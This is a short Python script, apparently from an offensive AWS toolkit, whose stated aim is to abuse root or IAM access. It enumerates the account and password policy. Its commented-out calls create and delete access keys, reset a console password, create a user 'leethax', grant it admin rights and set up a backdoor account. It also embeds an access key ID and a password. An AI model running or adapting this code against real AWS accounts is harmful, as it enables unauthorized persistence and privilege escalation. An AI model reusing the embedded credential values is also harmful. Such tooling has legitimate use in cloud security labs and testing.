19 lines
807 B
Python
19 lines
807 B
Python
'''
|
|
if you have root or IAM access gather user info, manipulate access keys or passwords, make backdoor account
|
|
'''
|
|
from libs.iam import *
|
|
from libs.sts import *
|
|
#from config import AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
|
|
|
|
|
|
def step_cg_test():
|
|
get_accountid()
|
|
check_root_account()
|
|
get_password_policy()
|
|
#create_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3')
|
|
#delete_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3', 'AKIAIJV3RQMOYM7WQS2Q')
|
|
#change_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, 'pythons3', 'PS#EDCasd123456!@')
|
|
#create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
|
|
#make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
|
|
#make_backdoor_account(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax','PS#EDCasd123456!@')
|